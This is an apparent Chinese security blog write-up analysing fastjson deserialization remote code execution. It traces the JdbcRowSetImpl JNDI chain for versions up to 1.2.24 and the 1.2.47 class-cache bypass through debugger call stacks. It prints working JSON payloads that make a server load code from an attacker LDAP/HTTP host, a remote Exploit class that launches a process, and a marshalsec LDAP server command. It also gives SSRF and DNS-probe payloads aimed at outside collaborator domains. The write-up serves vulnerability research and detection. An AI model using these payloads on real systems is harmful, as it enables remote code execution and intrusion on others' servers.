按照这张图里的描述:
使用JdbcRowSetImpl
类作为目标类,根据PoC中指定的属性dataSourceName
和autoCommit
,到时候应该会调用setDataSourceName
。
PoC内容如下:
package com.cqq;
import com.alibaba.fastjson.JSON;
import com.cqq.User;
public class PoC {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://192.168.85.129:1389/Exploit\",\"autoCommit\":true}";
JSON.parse(payload);
}
}
当然事先得先准备好两点:
1、待被远程下载的Exploit类;
import java.io.IOException;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
public class Exploit implements ObjectFactory {
public Exploit() {
}
public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) {
exec("xterm");
return null;
}
public static String exec(String var0) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException var2) {
var2.printStackTrace();
}
return "";
}
public static void main(String[] var0) {
exec("123");
}
}
2、LDAP服务;
使用marshalsec生成:
java -cp ./target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.85.129:8090/#Exploit
表示在默认端口1389创建了LDAP服务,其内容通过http访问http://192.168.85.129:8090/#Exploit
这个url获取到。
LDAP服务,和HTTP下载来的Exploit都是攻击者可控的,在客户端执行的。PoC是在fastjson开启服务的主机执行的。但是本质上这里模拟一个fastjson服务,其payload的json字符串是用户可控的。
查看一下调用栈:
Exception in thread "main" com.alibaba.fastjson.JSONException: set property error, autoCommit
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:136)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:593)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:922)
at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137)
at com.alibaba.fastjson.JSON.parse(JSON.java:128)
at com.cqq.PoC.main(PoC.java:10)
Caused by: java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:96)
... 10 more
Caused by: java.lang.NullPointerException
at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:630)
at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(JdbcRowSetImpl.java:4067)
... 15 more
整理的流程是:
那么攻击者的流程就是这样的。攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE。
来源:http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/
在攻击者可控的客户端准备的条件:
1、待被远程下载的Exploit类
2、LDAP服务;
最终,在服务端执行PoC的Demo:
让我们去目标类下断点,进行调试。
不知道是哪里触发的,索性在两个方法setDataSourceName
和setAutoCommit
都下断点:
调试发现,首先是设置DataSourceName,
C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl#setDataSourceName
继续跟其父类javax.sql.rowset.BaseRowSet的setDataSourceName
方法:
这个方法的注释如下:
/**
* Sets theDataSource
name property for thisRowSet
* object to the given logical name and sets thisRowSet
object’s
* Url property tonull
. The name must have been bound to a
*DataSource
object in a JNDI naming service so that an
* application can do a lookup using that name to retrieve the
*DataSource
object bound to it. TheDataSource
* object can then be used to establish a connection to the data source it
* represents.
*
* Users should set either the Url property or the dataSourceName property.
* If both properties are set, the driver will use the property set most recently.
*
* @param name aString
object with the name that can be supplied
* to a naming service based on JNDI technology to retrieve the
*DataSource
object that can be used to get a connection;
* may benull
but must not be an empty string
* @throws SQLException if an empty string is provided as theDataSource
* name
* @see #getDataSourceName
*/
然后是设置autoCommit
为true:
在com/alibaba/fastjson/parser/deserializer/FieldDeserializer#setValue
通过反射调用了com.sun.rowset.JdbcRowSetImpl.setAutoCommit(boolean)
方法,并传入参数true
。
然后跟进这个setAutoCommit
方法:
C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl#setAutoCommit
可以看到这个类是jdk自带的。
这里从业务逻辑上看应该是设置SQL执行的自动提交?但是需要先拿到一个连接(connection),若没有连接,则需要先建立一个连接,即
this.conn = this.connect();
继续跟进:
C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl#connect
看这个条件判断:
else if (this.getDataSourceName() != null)
因为我们之前已经通过setDataSourceName
设置了dataSourceName的值,所以这里可以进入这个条件分支:
关键都在这个lookup里面了。
然后就是对这个url:
ldap://192.168.85.129:1389/Exploit
一步一步的lookup了。接下来说一下lookup的细节,
比如
C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\jndi\url\ldap\ldapURLContext#lookup
里要判断这个url里有没有?
,即是否有查询的部分:
这里提供的url是没有查询部分的,所以继续调用其父类的lookup:
跟进C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\jndi\toolkit\url\GenericURLContext#lookup
这里通过var2.getRemainingName()
得到/
后面的部分,即向控制的服务器上获取Exploit.class
文件。
最终一路lookup,到了这里:
javax/naming/spi/DirectoryManager.getObjectInstance()
然后就进入Exploit#getObjectInstance
完整调用栈如下:
exec:21, Exploit
getObjectInstance:12, Exploit
getObjectInstance:194, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:593, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:10, PoC (com.cqq)
tips:
虽然大多数情况是把Exploit代码和PoC放到同一台主机上,这里我放到了网络上另外一台,但是这样做的情况是,如果不在IDEA中设置Exploit的源码或者class,IDEA是跟不到Exploit中的,所以需要手动设置一下。
fastjson漏洞的白盒检测,可以查看pom.xml文件中fastjson的版本,判断是否低于某个版本
fastjson漏洞的黑盒检测,在低版本下(默认开启@type
功能),只需要构造一个以往被利用的poc即可。比如可以通过这个ssrf:
poc是:
{"@type":"javax.swing.JEditorPane","page":"http://127.0.0.1:1389?a=1&b=22222"}
可以去javax/swing/JEditorPane.java#setPage下断点,没跟到具体发起请求的点,但是可以猜到应该是根据这个url去发起请求了。
参考:
具体参考:https://github.com/alibaba/fastjson/blob/f164d8519ff061baac6f8d58a5a1b88c2afab00e/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java
在com/alibaba/fastjson/parser/ParserConfig类中有一个变量AUTO_SUPPORT
,这个值默认是false。
再参考如何打开autoTypeSupport功能(可以设置JVM启动参数,也可以在代码中手动打开):
参考:https://github.com/alibaba/fastjson/wiki/enable_autotype
1.2.25的全局配置:
https://github.com/alibaba/fastjson/blob/1.2.25/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java
1.2.24的全局配置:
https://github.com/alibaba/fastjson/blob/1.2.24/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java
没有跟autotype相关的东西。
所以<= 1.2.24版本默认开启了autotype,是存在严重漏洞的;
而1.2.25及之后的版本,需要判断这个开关是否被手动打开,具体代码为:
ParserConfig.global.setAutoTypeSupport(true);
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //跟上面一样的效果,同样是拿到ParserConfig类的静态成员变量:一个ParserConfig>对象
在1.2.25版本下,不手动打开这个开关,再使用之前的payload,结果出现异常:
响应的包里也有:
具体的检查是否支持AutoType的代码在:
C:\Users\Administrator.m2\repository\com\alibaba\fastjson\1.2.25\fastjson-1.2.25.jar!\com\alibaba\fastjson\parser\DefaultJSONParser.class#parseObject(Map object, Object fieldName)
(PS:到时候在这里下断点就可以了,不用一直parseObject
)
可以看到这里是true,所以应该是支持的。
然后进行黑白名单的判断:
AcceptList为空:
可以看到有这些DenyList:
比如我们这次的payload是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
当循环到com.sun这个开头的类名时 ,就抛出了JSONException:autoType is not support.
用同样的环境测试这个Gadget:javax.swing.JEditorPane
,发现是可以SSRF的,所以这里autoType是支持的,只是匹配到了黑名单。而我们的这个Gadget:javax.swing.JEditorPane
不在黑名单里,所以可以利用成功。
1.2.25 <= fastjson <= 1.2.47
根据这篇文章说是这样的:
1.2.33 - 1.2.47 无条件利用
1.2.25 - 1.2.32 未开启 AutoType 可以利用,开启反而不能 (默认关闭)
1.2.24 无条件利用
因为
cache 机制是从 1.2.25 添加的
原理参考:
https://www.kingkk.com/2019/07/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-1-2-24-1-2-48/
据说是可以通过TypeUtils这类的缓存
参考:https://rmb122.com/2020/02/01/fastjson-RCE-%E5%88%86%E6%9E%90/
感谢java-sec-code项目,编辑pom.xml,将fastjson版本修改为1.2.47之后重新编译,使用这个payload测试:
{
"111": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"222": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://192.168.170.1:1389/Exploit",
"autoCommit": true
}
}
如果192.168.170.1:1389收到TCP连接了,则证明存在漏洞。
这个poc先通过这个json:
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
将com.sun.rowset.JdbcRowSetImpl
放到那个mapping(缓存)里,
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache)
的调用栈:
loadClass:1210, TypeUtils (com.alibaba.fastjson.util)
loadClass:1206, TypeUtils (com.alibaba.fastjson.util)
deserialze:335, MiscCodec (com.alibaba.fastjson.serializer)
parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:544, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
parseObject:223, JSON (com.alibaba.fastjson)
Deserialize:25, Fastjson (org.joychou.controller)
第一个关键节点是:
com/alibaba/fastjson/parser/DefaultJSONParser#parseObject(final Map object, Object fieldName)
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
这里的typeName是java.lang.Class
,
这里的typeName是我们传进去的@type设置的值:java.lang.Class
可以看到有很多关卡都会有检查,
一旦匹配到,则抛出异常:
throw new JSONException("autoType is not support. " + typeName);
不过我们的这个payload没有触发异常,到了下一个关键点:
跟进到:com/alibaba/fastjson/util/TypeUtils#getClassFromMapping(String className)
第一次使用111的时候,没从getClassFromMapping(String className)拿到clazz,但是从下面的
clazz = deserializers.findClass(typeName);
拿到了clazz,
com/alibaba/fastjson/parser/DefaultJSONParser#
尝试对提供对java.lang.Class
进行反序列化:
判断这个clazz是否为日期、IP地址、语言、URI、URL、UUID、File、时区等类型,直到判断这个是一个java.lang.Class类型,则使用
TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
(注:这个缓存很强劲,质押JVM启动这个fastjson,一旦有一次请求把这个类加入到缓存之后,就会一直保持那个类,也就是从原来到98到99个mapping)
com/alibaba/fastjson/parser/DefaultJSONParser#parseObject(final Map object, Object fieldName)
=>
L316: clazz = config.checkAutoType(typeName, null, lexer.getFeatures()); //返回到clazz为payload中指定的java.lang.Class
L384: Object obj = deserializer.deserialze(this, clazz, fieldName); //clazz: java.lang.Class, filedName: 111
com/alibaba/fastjson/serializer/MiscCodec#deserialze(DefaultJSONParser parser, Type clazz, Object fieldName)
=>
L237: objVal = parser.parse(); // 拿到objVal的值为: "com.sun.rowset.JdbcRowSetImpl"
L335: return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); // strVal为com.sun.rowset.JdbcRowSetImpl
com/alibaba/fastjson/util/TypeUtils#loadClass(String className, ClassLoader classLoader, boolean cache)
=> // 不以'['开头,不以"L"开头且";"结尾
L1240: clazz = contextClassLoader.loadClass(className); //通过TomcatEmbeddedWebappClassLoader加载com.sun.rowset.JdbcRowSetImpl类,得到clazz为com.sun.rowset.JdbcRowSetImpl.class
L1242: mappings.put(className, clazz); // 加入到mappings缓存中
返回com.sun.rowset.JdbcRowSetImpl.class
// 继续解析222
由于之前mappings已经被添加了这个类,现在可以直接从mappings中取得这个类了。
其实即便第一次发:
{
"111": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}
}
第二次发:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://192.168.170.1:1389/Exploit",
"autoCommit": true
}
也是可以的。只要启动基于fastjson的WEB服务没有重启就行。
参考:
试了几种格式:涉及到几个类:java.net.Inet4Address
、java.net.Inet6Address
、java.net.URL
、java.net.InetSocketAddress
{"@type":"java.net.Inet4Address","val":"e3ifk6b20aw3bj7i539idx5vum0co1.burpcollaborator.net"}
{{"@type":"java.net.URL","val":"http://fastjson.433f419eb1a8717d6a35.d.zhack.ca/ssrf"}:"x"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"fastjson2.433f419eb1a8717d6a35.d.zhack.ca"}}
其实<= 1.2.72都可以用这个dns解析(默认配置)。
只不过1.2.68之后引入了safeMode
功能,只要开启这个功能(默认不开启),就不能解析dns了。
参考:
https://github.com/alibaba/fastjson/wiki/fastjson_safemode
更详细的fastjson利用历史参考: